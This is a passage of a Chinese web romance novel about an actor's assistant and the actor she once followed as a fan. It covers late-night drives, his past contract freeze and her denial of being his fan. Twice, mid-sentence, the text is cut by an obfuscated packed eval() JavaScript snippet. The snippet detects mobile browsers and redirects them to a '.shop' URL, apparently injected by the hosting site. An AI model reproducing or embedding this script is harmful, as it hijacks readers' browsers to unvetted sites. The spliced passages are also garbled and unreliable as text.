“……”萧扬轻笑了一声，这声音在寂静的车里十分明显，宁茉的脸色瞬间就涨红了。 她抿了抿嘴，转头看了萧扬一眼，萧扬正垂着眼看她，眼底满是笑意。 宁茉还想解释一下自己第一次开这辆车不太熟悉，萧扬已经开口了。 “小助理，你忘了关这个了。” 他修长的手指往下轻轻一指，宁茉的目光随着他的指尖移动到变速杆后方，一个亮着红灯的“P”键上——驻车制动。 “……”宁茉凝滞了一秒，随后伸手，若无其事地按下去，表情不变地收回手、握紧方向盘，汽车随之启动。 旁边的人似乎又轻笑了一声，但宁茉头不动眼不动，全当没听见。 人在尴尬时就会显得很忙，宁茉出一个停车场左顾右盼，打转向灯切远光，快把车上的键全按了一遍，终于顺利地上了马路。 凌晨一点多的云城十分安静，马路上车不多，宁茉开着开着，慢慢也放松下来，余光注意起旁边的男人。 萧扬看起来是真的困了，在他确认宁茉能自己开车回去后，就已经稍稍调低了座椅，闭眼靠在座椅上。 萧扬的侧脸轮廓也十分精致，挺拔的鼻梁下是薄薄的嘴唇，下巴弧度优越，流畅漂亮的线条一直延续到喉结，随后收进敞开的领口里。 停车等红灯时，宁茉便忍不住分心多看了几眼。 看着看着，萧扬的嘴角微微翘起，低声开口：“……小助理。” “……？”宁茉一怔，萧扬的声音太低，又带着困意，听起来有些含糊，她一时间不确定萧扬是不是在叫她，只是直愣愣地看着他。 萧扬眼睛缓缓睁开，漂亮的眼瞳流转向她，眼尾勾起诱人的弧度：“……绿灯了。” “！”宁茉猛然抬头，这才发现灯已经变绿了，好在她身后没有车辆，宁茉立刻挂挡，车辆往前移动。 “……抱歉，刚才有点走神，”宁茉小声解释道，“我会小心开车的。” “别着急，”萧扬重新闭上眼，轻声道，“慢慢开。” 他的语调不急不缓，却莫名让人感到安心，宁茉放慢了车速，原本有些急躁的情绪也慢慢抚平。 …… 行驶到中途时，萧扬的手机突然响了，是浦世诚打来的，大嗓门隔着半米都听得清清楚楚，在询问他们到哪儿了。 萧扬懒洋洋开口：“在等你过来当司机。” 宁茉没忍住笑了一下。 电话那头，浦世诚竟然还当了真：“什么？？？宁茉不是会开车吗？你什么意思，歧视女司机啊？” 萧扬冷哼一声：“大晚上的，你让一个女孩子开车，你也真放心，她昨晚可是陪我们熬到了三点。” “……”浦世诚难得有点哑火，“我这不是、不是觉得宁茉靠谱嘛……” “嗯，是靠谱，”萧扬接的很快，“比你靠谱多了，听说霍妍给你打了十个电话，都没能把你从美梦里叫醒？怎么，睡觉多了还影响听力？” 浦世诚语气瞬间恼羞成怒：“嘿？！萧扬你小子现在他……” 后面的话大概带了点脏字，萧扬眼疾手快地按了静音，宁茉嘴角一压再压，最终还是没压住，噗嗤笑了出来。 随手挂了电话，萧扬看着她笑，自己也笑了。 这是宁茉来工作室以来见萧扬笑得最开心的一次，漂亮的桃花眼眼尾上扬，眼角眉梢尽是愉悦。 看着这样的萧扬，宁茉却蓦然又想到早上吃早餐时听到的对话，笑容猛然凝滞了几秒。 萧扬很快察觉到她的情绪变化：“怎么了？” “……”宁茉抿了抿嘴，摇摇头，“没事。” 萧扬双手交叉抱臂，目光却始终盯在宁茉脸上：“看起来不像没事。” “……”宁茉心底暗叹了一声，演员对他人情绪的感知度实在是太敏感了，她竟然想藏都藏不住。 眼看又是一个红灯，萧扬灼热的目光又始终盯在她身上，宁茉想了想，终于没忍住开口：“我……想问一件事情。” “嗯？” “这个问题可能有点冒昧，”宁茉尽力组织着语言，这些话她想了一天，此刻找到了机会，却不知道该怎么坦然地问出来，“……如果你不想说，也不用回答我。” 萧扬来了兴趣，将头侧着靠在座椅上绑着的头枕上，目光却始终在宁茉身上。 他轻声应道：“我先听听看，是什么问题。” 宁茉目光看着前方，没有迎上萧扬的视线，对方的视线有些灼热，她没有勇气对视。 “我想问……你之前和公司签约了五年，却只活动了两年，之后那三年……”宁茉顿了顿，轻轻侧目往右看了一眼，还是忍不住问道，“被冷藏了么？” “……” 车里一时间突然安静下来，只剩汽车行驶在路上的声音。 工作室订的酒店是云城一座很高的建筑，转个弯就看到了酒店顶部的灯光，宁茉抬眼一看，轻松油门、放慢了车速。 她有些后悔自己没有用车上的音响放首歌，好让气氛不至于这么冷凝，自她问出那个问题后，萧扬沉默了足足一分钟，偏偏这段路拐弯很多，宁茉不得不专心看着前方，分不出心去看他的表情。 太莽撞了，宁茉想，明明都和萧扬还不熟悉，就贸然问这种问题，如果萧扬生气了……她的实习期可能也就提前结束了。 即使这份工作她看的没那么重要，以这种狼狈的方式和曾经认认真真喜欢过两年的人告别，也稍显难看了。 宁茉轻咬了下下嘴唇，重新开口：“对不……” 她一句话没有说出口，萧扬已经有了应答。 “是。” 他回的干脆利落，一瞬间宁茉以为是自己幻听了。 萧扬的目光也看向那座酒店，语气带着些坦然，声音却比之前说话要低：“和公司闹了点小矛盾，停了我所有的活动。” “我尝试过解约，但签约时年轻气盛、有些莽撞，合同里有很多不平等约定，解约就变得很困难，只能等机会。后来……浦世诚帮我联系了人，借钱垫了解约费，就离开了。” 宁茉有一瞬间想问付了多少解约费，但只听萧扬的形容也知道那是个天价，她没有再问下去，只是沉默下来。 “……所以，”萧扬却看向她，“你就是想问这个？” 纠结了一晚上的欲言又止、好几次看向自己时复杂的眼神，萧扬以为她有什么重要的事情要问，开口却提了这么一件……他以为她早就知道的事情。 原来……宁茉后来真的没有再关注过他，也大概率早就忘了他们曾经的交集。 …… “嗯，”宁茉轻声说，“谢谢你告诉我这些事情，没关系的，钱没了以后可以再挣，离开了那个公司，你一定能发展的很好的。” “……” 身旁的萧扬没有应答，宁茉将车开进酒店停车场，转头看他。 萧扬却没有在看自己，他不知道何时打开了车窗，正侧头看着外面，夜风吹动他的头发，刘海遮住了眼睛，一瞬间看不清神色，只隐约看得到被阴影覆盖的眼眸闪着晦涩的光。 ……果然提到伤心处了啊。 宁茉有些内疚地想，早知道还是不问了。 停好车，宁茉和萧扬下了车，一起进了酒店电梯。 一路上两个人都没有说话，直至电梯在五层“叮”了一声。 霍妍给萧扬和浦世诚订的是套间，两个人都住在高层，宁茉他们则住在五层。 “那个……我先走了。” 宁茉提着大包小包想出去，萧扬却突然开口：“宁茉。” 宁茉不明所以地转身看向他，萧扬仍旧站在电梯里，挺拔修长的身影，即使眼底满是疲倦，依旧遮不住满身的神采。 宁茉安静地看着他，萧扬却没有说话，电梯门开始闭合，宁茉眨了眨眼，在电梯门彻底闭合前转身要去按电梯键。 比她的动作还要快的是萧扬，电梯门缓缓打开，他朝前走了一步，和宁茉只隔着一个电梯门的距离。 他开口，说的话却让宁茉瞬间睁大了双眼：“你以前……是我的粉丝吗？” “……” 宁茉脑子里一瞬间略过很多想法，化成一片乱码从她脑袋上砸过，“糟了糟了”“还是被发现了”“早知道真的不问了啊啊啊”“不会就这么被赶走吧”“三个月都待不到吗”“现在认错还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468315|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得及吗”…… 只是过去了短短几秒，宁茉却觉得时间无比漫长，眼前的世界像是突然被无限拉长，在不断异化变形的世界里，只有萧扬站在那里，深褐色的瞳孔定定望着她，等着她的答案。 凌晨两点的酒店陷入沉睡，在万籁俱寂中，宁茉听到自己轻声说了两个字。 “不是。” “……” 电梯门再次闭合，萧扬静静站在原地，没有再去碰开门键，在宁茉的视野里逐渐消失，直到电梯彻底闭合。 …… 宁茉在原地愣了足足一分钟，才很慢地回过神，脚步有些僵硬的转身，朝着自己的房间走去。 刚才……是她的错觉吗？ 听到她答案的那一刻，萧扬的眼底闪过的情绪很陌生，那是种宁茉没有见过的神情，他一向漂亮的桃花眼轻轻垂下，嘴角扬起笑容，却并不像是开心，甚至有点……可以说是苦涩。 她在那个瞬间像是被电流击中，整个人呼吸都被迫暂停。 她明明说了一个很安全的答案，却好像答错了。 她不明白。 …… 萧扬走出电梯时，正遇上从房间里出来的浦世诚，他远远看到一道高挺的身影，立刻意识到萧扬回来了。 “今天拍到这么晚啊，你辛苦了。”浦世诚倚在走廊墙壁上，看着萧扬朝他走近。 “嗯。” 萧扬低声应了一声，走到房间门口，转头看他：“房卡。” “……你怎么了？”浦世诚皱了下眉，盯着萧扬面无表情的脸，“不高兴啊？” “累，”萧扬似乎连多一个字都懒得说，朝他伸手，修长匀称的手指展开，指尖泛白，“给我。” “……”浦世诚觉得不太对劲，但他下午确实因为失误没到片场，此刻多少含了点心虚的想法，没敢多问，只从口袋里掏出萧扬的房卡递给他，“要是觉得强度太大，我和陈昌沟通，稍微放缓一下进度。” 萧扬刷开房门，径直走了进去：“不用。” “诶等等！”浦世诚眼看他要关门，立刻开口，“宋依依这几天不舒服，就先不让她跟组了，明天白天王墨跟组，晚上换宁茉。” 萧扬脚步稍顿，手握着门把，停下了关门的动作，抬眼看向他：“明天你不能和王墨轮流来吗？” 浦世诚一时间没明白他的意思：“我有一万件事要处理，你又不是不知道，不可能时时刻刻关注剧组动态的，而且宁茉不是很贴心吗？我看她很不错。” 萧扬垂眼，声音有些沙哑：“她已经连熬了两晚了，你还要她晚上跟？” “……”听他这么一说，浦世诚觉得自己确实有点剥削女孩子了，挠了挠头，“那宁茉跟白天？王墨……” 后面的话他没说出口，因为萧扬猛然抬眼看向他，眼瞳幽深，让他一瞬间愣住了。 萧扬竟然生气了。 几乎是瞬间，浦世诚就明白自己这个安排不合适，宁茉今天熬到快两点，再让她明天一大早起来跟组，那简直比黄世仁还黄世仁，其他明星助理听了估计都想把他们挂路灯上示众。 “……明天白天王墨跟，晚上我来，”浦世诚咳了一声，自觉改了行程，“行吗？” 萧扬没有再说话，垂下眼，目光看向门把手。 浦世诚一看他这个动作就知道他要关门了，立刻又追问了一句：“萧扬你到底怎么了？发生什么事了？剧组里有人欺负你了？” 萧扬这几年变得越来越沉稳，情绪轻易不会外露，可他今晚的状态很不对劲，浦世诚从没见过他这样。 “没什么，”萧扬低声开口，目光却有些飘忽，似乎在回忆着什么事情，“确认了一件事。” “啊？什么事？”浦世诚听得一头雾水，什么重要的事要萧扬亲自去确认，得到答案后还这么失落？ 除了陈昌打算换人演阑牧，浦世诚想不到别的情况，但这显然是不可能的，陈昌又没疯。 萧扬轻笑了一下，弧度完美的桃花眼此刻染上郁色，声音几乎低不可闻。 “……原来她……不是为了我来的。” 还以为是失而复得，原来只是……一个巧合。 巧到不可思议，巧到让人失望。 也许对她来说，去哪里都一样，做谁的助理也都可以，他只是……无数次人海错身中，可以被轻易略过的一个。 …… 浦世诚没听到他说话，只看到房门在他面前“嘭！”地一声无情关闭，萧扬连个眼神都没留给他。 “萧扬你小子！”浦世诚咬了咬牙，轻轻踹了一脚门，“真是男大不由娘，现在有什么心事都不跟我说了。” 说完他才意识到不对，自己又呸了一下：“谁是他娘！” “……” 房间内没传来任何回应，显然对方已经离开了，浦世诚只好又磨了磨牙，转身回了自己房间。 19. 第 19 章 第二天早上，宋依依依旧是被宁茉叫醒的，她前一天发了烧，身体还有些不舒服，霍妍要她在酒店休息两天先不要跟组，宁茉也就等到快中午才叫她起来吃药。 宋依依揉了揉脑袋，不太清醒，脸上满是愧疚：“对不起啊茉茉，我身体素质太差了，才吹了一天的冷风就生病了，这几天辛苦你们了，等我好起来我会多跟几天，让你们都放假休息的。” 宁茉却没有任何抱怨，只是帮她找好衣服，等她洗漱完，拉着她去了一楼的自助餐厅。 酒店的午餐种类很丰富，中餐西餐一应俱全，宁茉没什么胃口，简单挑了几样东西，找了个僻静的位置坐下。 宋依依倒是拿着一大堆食物过来了，还给宁茉带了酸奶：“多吃点茉茉，你每天吃那么少，身体撑不住的。” “我只是不饿，我很能吃的。”宁茉接过她手里的酸奶，慢慢拧开瓶口。 宋依依一边吃，一边随口问道：“昨晚你是不是待到了很晚啊？你几点回来的？” 宁茉想了想：“2点多吧。” 宋依依吃东西的动作猛然一顿，震惊地抬头看向她：“2点？！” 她回想了一下再往前一天的行程：“也就是说，你前一天晚上熬到了3点，昨晚又熬到了2点，今天早上一大早就起来了？！” 她的语气太过惊讶，反倒显得宁茉格外的平静：“嗯。” 宋依依眨眨眼：“茉茉，你不累吗？” “……还好，”宁茉小口喝了口酸奶，“今天浦哥给我放假了，我今天不跟组，可以休息。” 宋依依的语气十分佩服：“我要是你，我今天肯定会睡一天不起床的。” “毕竟是来工作的，”宁茉笑笑，“也不能太闲着。” 宋依依幽幽吐了口气：“茉茉，你也太自律了，这样哪像个年轻人啊……今天放假，你在云城转转吧，别总待在酒店了，或者我陪你一起去？” “算了算了，”宁茉忙摇头，“你还是在酒店休息吧，这几天降温，你别出门了，我自己去，听说附近有个云城森林公园，这个季节景色很不错。” “好吧，”宋依依嘿嘿一笑，“那你去吧，回来记得给我带杯奶茶哦~” 宁茉先是点头，随后又很认真地想了想：“感冒可以喝奶茶吗？” 宋依依立刻点头：“可以！茉茉你不要这么严格！” 宁茉不信，拿着手机开始百度：“……让我搜一下。” 宋依依：“可以的可以的，我要青桔柠檬，三分糖！” …… 一个小时后，宁茉出现在了酒店不远处的公交站台。 她原本没有出来逛的打算，但宋依依催她出门，她又是第一次来云城，也就这么出来了。 今天天气依旧很冷，路上行人大多裹紧了羽绒服行色匆匆，宁茉看着公交站上的站点，挑了一辆来的最快的公交，工作日的公交人不多，宁茉找了个靠窗的位置，看着窗外发呆。 车辆缓缓穿行，路过一片繁华的商业区，等红灯的间隙，大楼外的巨型屏幕上有一张熟悉的面孔一闪而过，宁茉眼眸一动，抬头望了过去。 那是白野刚刚接到的一个奢牌代言，炫酷机车的商业广告片在屏幕上滚动播放，有不少路过的女孩子正抬头看向屏幕，指着屏幕上白野被放大无数倍的脸激动地讨论着。 星光璀璨，宁茉想到了这个词。 前几天听到的对话，蓦然浮现在宁茉耳边： “萧扬和白野是众星娱乐同一批签的新人，刚开始萧扬发展势头很好，但后来他不知道怎么得罪了公司老板被冷藏了，公司就转而捧白野，白野火起来的那部网剧，最早定的男主角可是萧扬。” ——如果萧扬没有被冷藏，现在在广告上笑得意气风发的，本该是萧扬。 昨晚的对话历历在目，她问出那个问题时没考虑太多，但萧扬随后的反应却让她明白，那三年对萧扬的打击其实是很大的。 萧扬出身不差，虽然没有详细提过家里的情况，但看他吃穿住行都很讲究，就知道原本应该是个衣食无忧的小少爷，在家里被宠着长大，去了娱乐圈的前两年也顺风顺水，凭着好演技和一张所向披靡的脸，很快就起来了。 直到那个人生转折，突然被冷藏，冉冉上升的势头被瞬间打断，灿烂的星途从此黯淡，如果不是后来浦世诚东奔西走为他争取到了解约，萧扬还不知道要在那个毫无前途的公司待多久。 即使已经脱离了原公司，也还欠下了巨额的债要还，萧扬接通告接的拼命、行程连轴转，也许就是为了尽早还清欠款。 ……她要是早点发觉就好了。 宁茉突然有些后悔自己不爱和人聊天、不爱花时间去和粉丝群里的粉丝们结交，如果她认识一两个资深粉丝，一定能从她们那里得到消息。 或者……如果她后来坚持多追几次线下，一定也能从浦世诚那里知道萧扬的情况。 ……她知道的实在是太迟了，籍籍无名、痛苦晦暗的三年里，她从未出现过，真是个不合格的粉丝。 “——叮铃” 公交到站，宁茉拿起背包下了车，面前便是云城森林公园的入口。 这个时节树叶都落了大半，公园里看起来很冷清，宁茉一路沿着指路牌走到中心湖边，找了个白色长椅坐下，望着湖面发呆。 人是不能为已经错过的事情追悔的，因为注定没有结果，也无从改变。 唯一能做的，也许就是珍惜当下，让以后的人生不再后悔。 从包里拿出平板，宁茉打开绘画软件，新建了一张画布，这次绘画的对象是萧扬。 她画了一张阑牧在校园的小道上跟在尤丽身后的画面，画面中尤丽没有正脸，只露出一小部分身体，阳光洒在她飞扬的蓝色裙摆上，漂亮又张扬，而在树荫下、画面的正中央，阑牧手插着兜默默走着，光并没有洒在少年身上，暗色的校服也仿佛要和阴影融为一体，可唯独少年那双眼睛里满是温柔的神色，那是在听心爱的女孩说话时的放松神情，有风吹动少年的发梢，一张脸 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[大橘为重啊]：呜呜呜太太我要把你安利给我每一个基友！您就是画师界的天使！约稿界的清流！慈悲好菩萨！清汤大老爷！ “……” 宁茉一句话没来得及说，对方已经刷了整整一屏，她在不断重复的“啊”和“呜”中看出，对方应该是很满意的。 [茉莉无声]：你看看哪里还需要改。 [大橘为重啊]：没有！！太太您等着！我认识很多小富婆，我要把你安利给她们！！！但是请你给我保留一个好友位呜呜呜呜我真怕失去你！ [茉莉无声]：嗯嗯，谢谢。 她不太擅长应对这么热情的对方，满屏的感叹号让她莫名有了不小压力，匆匆结束了对话，宁茉关掉微博，长舒了口气。 下一秒，手机里响起收款到账的声音，对方已经干脆利落地把钱转过来了。 宁茉打开银行余额看了一眼，心情又瞬间开朗起来。 她竟然真的有靠画画挣钱的一天了。 手机里同时响起了微信提示音，宁茉切到微信，发现下午宋依依给她发了不少消息。 她大概是在酒店待的太无聊，偷偷跑去片场看了一眼，又拍了几张照片。 [宋依依：萧扬穿校服真的蛮帅的！] [宋依依：不过他今天是心情不好吗？怎么感觉不太开心啊？] [宋依依：浦哥说他是因为乔娜娜不理他伤心了，不会吧……萧扬哥品位不会这么差吧！] [宋依依：乔娜娜还没有茉茉你好看呢！但是浦哥坚称一定是因为女人，还当着萧扬的面说] [宋依依：怀疑对象已经从乔娜娜转到秦娇娇了，这个我同意，秦娇娇真的漂亮又可爱~] 这条消息后面宋依依安静了几分钟，才又发了一条过来。 [宋依依：哦，应该都不是，因为萧扬拍摄间隙抽空揍了浦哥一顿。] …… 20. 第 20 章 拍摄片场热火朝天，好不容易中场休息，王墨把宋依依送回了酒店，浦世诚则和萧扬则去了旁边休息。 浦世诚听宁茉的建议新买了两个躺椅，和萧扬一人一人，他整个人瘫在躺椅上，躺的十分安逸，萧扬却挺直脊背，低头看着剧本，脸色冷淡。 浦世诚和他说了几句话，萧扬都心不在焉，似乎不是很想理他。 浦世诚啧了一声，看着萧扬阴阳怪气：“你现在实在是太高冷了，我真怀念你刚出道的时候啊，纯情又可爱，简直是个快乐小狗，现在……唉……” 他很重地叹了口气，颇有种“一朝春尽红颜老”的遗憾感。 萧扬冷眼看着他长吁短叹，目光定在剧本上，视线却有些游移。 他今天总是走神，在一些不该走神的瞬间。 浦世诚想到和宋依依刚才开玩笑被萧扬迎头拍了一下，忍不住逗他：“真生气了？我胡说的，不至于吧？” 萧扬没理他。 浦世诚还在不依不饶：“到底怎么了？拍暗恋戏拍伤神了，想起曾经喜欢过的人了？” 萧扬眉梢微动，抬眼看了他一眼，没有开口。 浦世诚却表情一变：“我艹？我说对了？” “诶不是，”浦世诚一把按在剧本上，阻止萧扬看剧本，“真有啊？什么时候的事？你大学不是没谈过恋爱吗？出道以后也没接近过女生……你哪来的喜欢的人？？？” 萧扬手一松，任由剧本掉下去，闭眼躺倒在了躺椅上，眉头微皱：“你很吵。” “谁啊谁啊谁啊？？”浦世诚好奇的挠心抓肺，往萧扬的位置凑了凑，“我认识吗？男的女的？……应该是女的吧？” “哦，我知道了！秦娇娇！”浦世诚猛地反应过来，眼底闪着精明的光，“是秦娇娇对不对？” 萧扬微微侧过头朝向另一边，屏蔽了浦世诚的噪音。 “一定是她，你之前和她合作过，《如意环》又要和她合作！” 浦世诚越说越自信：“这就对了，秦娇娇确实漂亮，人品也不错，绯闻也少，你喜欢她很正常。” “原来你喜欢秦娇娇这一款？喜欢姐姐啊……”浦世诚盘算着，“秦娇娇现在比你火，要是能和她在一起也不错，你的知名度会迅速提上来，《如意环》里你和她对手戏也不少，肯定会有不少人磕你们的cp……” 不期然间，萧扬却突然睁眼，眼底没什么笑意，语气很冷：“不是她，不要乱猜，还有，我之前跟你说过不炒绯闻，你忘了？” 浦世诚一看他的样子就知道他是认真的，顿时有些心虚，声音也小了些：“我随口一说……不炒，不炒。” 但很快他又意识到什么，萧扬说“不是她”，也就是说他只否认了那个人是秦娇娇，却没有否认他有喜欢的人！ 浦世诚像是发现了什么新大陆，激动的按捺不住，偏偏身旁的萧扬不再说话，专心闭目养神，他没办法，又怕耽误萧扬下午拍摄，只能也安静下来。 浦世诚脑海里快速过了一遍，却浮现不出一个女人的脸庞，萧扬这些年合作过的女演员不多，大多后来都没什么交集，他想不到那人是谁，最有可能的也只有秦娇娇。 …… 另一侧的萧扬闭着眼，眼睫却在微微颤动，脑海里浮现出昨晚那一幕，宁茉就站在电梯外，离他一步之遥的地方，望着他的眼睛，决绝地、笃定地说——“不是”。 她不曾关注过他。 但萧扬心底却莫名浮现出另一种声音：宁茉如果从没有关注过他，为什么会来到这里？ 昨晚情绪激荡来不及细想，今天冷静了一天，终究还是觉得不对。 宁茉不像是完全不了解他的样子，也不像是要借助他去接近谁。 这半个月来，宁茉一直在认认真真的工作，是三个助理中最积极、也最优秀的一个，就连最初不看好宁茉的霍妍，也提出如果三个人只留一个，优先选择宁茉这种话。 她明明很努力地要留下。 萧扬睁开眼，一向潋滟的桃花眼里此刻有些空茫，望着头顶逐渐暗下来的天空发呆。 就算……宁茉不是为了他来的，她也来到了他身边。 命运也好，巧合也罢，既然给了这个机会，就不该放弃。 —— 半个小时后拍摄继续，萧扬起身离开座位，浦世诚也跟了过去。 “到底是谁啊？”浦世诚不依不饶地问，“透露一下嘛，我真的很好奇。” “你实在闲就去做平板支撑，”萧扬语调平淡，根本没打算理他，“你这几天没有锻炼吧？” “……”这一下说的浦世诚有点心虚，他的确是借着忙的借口逃避了几天健身，现在被萧扬点破，瞬间没了八卦的心思。 “差点忘了，我还有点事要忙，”浦世诚拿起电话，装模作样地看起了手机，“宁茉给我发消息了，我得赶紧回复呢。” 这句话却让萧扬脚步一停，目光扫向浦世诚的手机屏幕：“她怎么了？” “宁茉问我她明天什么时候跟组，”浦世诚想了想，“明天让她上午来吧，下午和晚上王墨跟。” “嗯，”萧扬先是随口应了一句，随后又突然一顿，看向手中的剧本，“明天……” 浦世诚也同时想了起来：“诶呦，差点忘了，明天有打戏，我让宁茉多带两套衣服过来，剧组准备的也不知道周不周全。” ……萧扬沉默了几秒，转过身看向浦世诚：“明天再给宁茉放一天假吧。” 浦世诚打字的手一顿，瞪大双眼看向萧扬：“宁茉不来谁来？你又要我跟啊？萧扬你有没有良心，我也很累的！我这几天都累瘦了！” “而且霍妍明天就回荣城了，之后都只有我一个人！在剧组！陪你！” 萧扬：“……” 浦世诚振振有词，“我不管，明天我是不会跟组了，你要是忍心让依依过来，那我就通知依依！” “……” 宋依依高烧刚退，上午来剧组时还是有气无力的样子，萧扬不可能再让她跟组。 没了商量的余地，萧扬也就不再纠结，转身直接回了剧组，继续下午的拍摄。 …… 拍摄依旧持续到了深夜，剧组似乎已经适应了高强度的工作节奏，熬到半夜也没什么怨言，对萧扬认真敬业的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497494|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度也有了不少好评。 王墨来接他们下戏，副驾驶上放着浦世诚吩咐要买的东西。 浦世诚拆开包装看了眼，向着坐在后排的萧扬伸手递去：“给。” 萧扬抬眼看向那个黑色的袋子：“什么东西？” 浦世诚笑道：“保暖衣啊！能充电能调节档位，保温效果超好。” 萧扬：“太丑了，我不要。” “？”浦世诚睁大眼睛，“我专门让王墨去商场买的，买了两套呢，天气这么冷，你穿的那么少，小心冻感冒了。” 萧扬神情冷淡，语调也很低沉：“不需要。” 浦世诚无奈道：“知道你身体素质好，但拍摄刚刚开始，后面温度会越来越低，你穿暖和点。” 见萧扬还是不接，浦世诚嘟囔道：“这个牌子还是宁茉专门找的，王墨跑了两个商场才买到，很贵的！” “……” 萧扬终于抬眼看向他手中的袋子，看了几秒后，终于带点不情愿地伸手。 浦世诚满意地笑了：“一定记得穿啊，别因为嫌丑又不穿。” —— 宁茉下午在公园待了一下午，回酒店后补了一觉，半夜又醒来了。 宋依依睡的很熟，宁茉担心打扰到她，索性轻手轻脚地起身，拿着平板出了门。 酒店很安静，一楼大堂唯一的光源就是前台附近的灯带，服务员不在，宁茉从前台走过，目光看向不远处关灯的咖啡厅。 这个咖啡厅是开放式的，装修很漂亮，沙发也又软又舒服，白天没事的时候宁茉很喜欢坐在咖啡厅的角落里，此刻深夜无人，她站在门口犹豫了几秒，还是抬腿从门口的开放式矮门上跨了过去，走进了咖啡厅。 这个行为不太道德，毕竟咖啡厅没有营业，她算是违规闯入，宁茉没走太远，找了个门口附近的沙发坐下，拿出平板。 她白天刚完成约稿，转头就收到四五个好友申请，那个叫大橘的女孩子真的在很热心地帮她卖安利，每个人上来都喊她神仙太太。 宁茉很少被这么集中轰炸般夸奖，夸得她晕头转向，还没反应过来就又接了六个稿子，好在她最后时刻理智上线把交稿日期定在了一个月后，不然还真不知道要怎么完成这么多约稿。 她的价格也还是五百一张图，如果画完这六个稿子，起码能赚三千。 挣钱挣钱！ 宁茉新建了画布，开始构思第一张图的场景。 平板的光调的很暗，但盯久了还是会有些眼花，宁茉画到中途放下板子揉了揉眼，目光却被酒店外一辆驶入停车场的车吸引了。 那辆车看起来有些熟悉，宁茉想了几秒，终于反应过来：这是浦世诚租的那辆商务车。 萧扬竟然拍到这么完才回来？ 但她很快就意识到另一个问题：他们回来会经过大堂。 为了避免碰面，宁茉站起来想找个地方躲一下，几乎同时，酒店大堂前台的工作人员也回来了，宁茉的脚步尴尬地停在了原地：现在出去，会被前台抓个正着。 进退两难，下一秒，酒店大门处的感应门缓缓打开，一行三人出现在酒店门口。 21. 第 21 章 宁茉第一反应就是坐下按灭了平板，随后悄悄往沙发下缩了一点，只露个脑袋，做贼般看着他们三个人走进来。 如果这个时候被看到就太尴尬了，她总不能说自己睡不着出来转转，顺便翻过咖啡厅的门禁、坐在这里散心吧？ 交谈声随着三人脚步声一起靠近，浦世诚在嘱咐王墨：“明天早上宁茉跟组，你就在房间休息，中午的时候再来。” 王墨应了一声：“好。” 浦世诚又说道：“你把车钥匙给我，我明天交给宁茉。” 一阵拉链拉开的声音，王墨应该是在找车钥匙，过了几秒，王墨语调提高了一点：“诶？钥匙呢？” “你别着急，慢慢找，这玩意儿又不会丢。” 王墨于是放慢了脚步，从包里摸着钥匙。 宁茉屏息看着三个人，又往下缩了缩，忍不住有点着急：王墨就不能回了房间再找吗？非要停在这里，和她仅仅隔着不到十米的距离。 夜晚的酒店大堂十分寂静，连呼吸声都被放大，宁茉放缓呼吸，忍不住又探了下头，目光看向三人中最高挑挺拔的那道身影。 萧扬一直安静地走着，有些心不在焉的样子，看到王墨停下找钥匙，就先走到了电梯前按下电梯开门键，随后转身看向他们。 几乎同时，他的余光中察觉到一道人影，目光敏锐地看了过去。 “！” 宁茉迅速低头，倒吸一口凉气，整个人几乎躲在了桌子下面。 她刚才……好像和萧扬对视了一眼。 ……不，不可能，咖啡厅这么黑，萧扬那边又很亮，他不可能看得到自己，看到了应该也以为是幻觉，大晚上打烊的咖啡店里怎么会有人？ 另一边，王墨已经哎呦了一声：“我好像把车钥匙落车里了！我去拿！” 他慌慌张张跑出了酒店，浦世诚则站在萧扬身边笑他。 萧扬看向浦世诚：“你先上去吧，我在这里等他。” 浦世诚点点头：“也行，那你直接拿了钥匙明天早上给宁茉，省得我早起了。” 他按开电梯门，又探头低声笑了一声：“早点睡啊，别想你那姐姐了。” 萧扬冷眼看了他一眼，似乎要开口说什么，浦世诚立刻关了电梯门。 酒店大堂瞬间安静下来，只有站在前台的服务生用目光追随着萧扬，眼底带了些好奇。 萧扬没有动，就站在电梯口，目光看向咖啡厅的方向，一片幽暗寂静中，咖啡厅看起来空空荡荡，并没有人影。 服务生发现了萧扬的目光，跟着看了过去，又忍不住开口：“先生，我有什么能帮您的吗？” 萧扬收回目光，淡然开口：“谢谢，不用。” 王墨又跑了回来，头上有不少汗，将车钥匙递给萧扬，满脸不好意思，又看向前台的服务生：“我忘了拿房卡了，可以帮我开一下门吗？” “好的先生，”服务生转身去前台拿了房卡，跟着王墨进了电梯，萧扬却没有跟进去。 王墨疑惑地看向他：“怎么了？” “你们先上去吧。”萧扬没有解释太多，只是朝后退了一步，转身向着大堂走去。 看到萧扬朝这边走过来的瞬间，宁茉的呼吸暂停了几秒，她觉得不可思议，又不敢探头去看，低着头缩成小小的一团，听着脚步声从咖啡厅外路过，似乎是要出门。 但那脚步声又很快停下了，宁茉闭了闭眼，眼底带了些懊恼，早知道就不出门了。 ——“你不冷吗？” 头上冷不防响起低沉磁性的声音，宁茉被吓得一抖，随后叹了口气，缓缓睁眼。 果然还是被发现了。 萧扬低头看着不远处缩在桌子下的女生，酒店大堂的暖风温度不高，咖啡厅这边更是关了空调，宁茉一个人坐在这里，应该会很冷。 “……” 慢腾腾从桌子底下爬出来，宁茉看了一眼不远处的萧扬，快速从咖啡店的矮门上跨了出去。 她突然有些庆幸周围够黑，萧扬看不到她通红的脸。 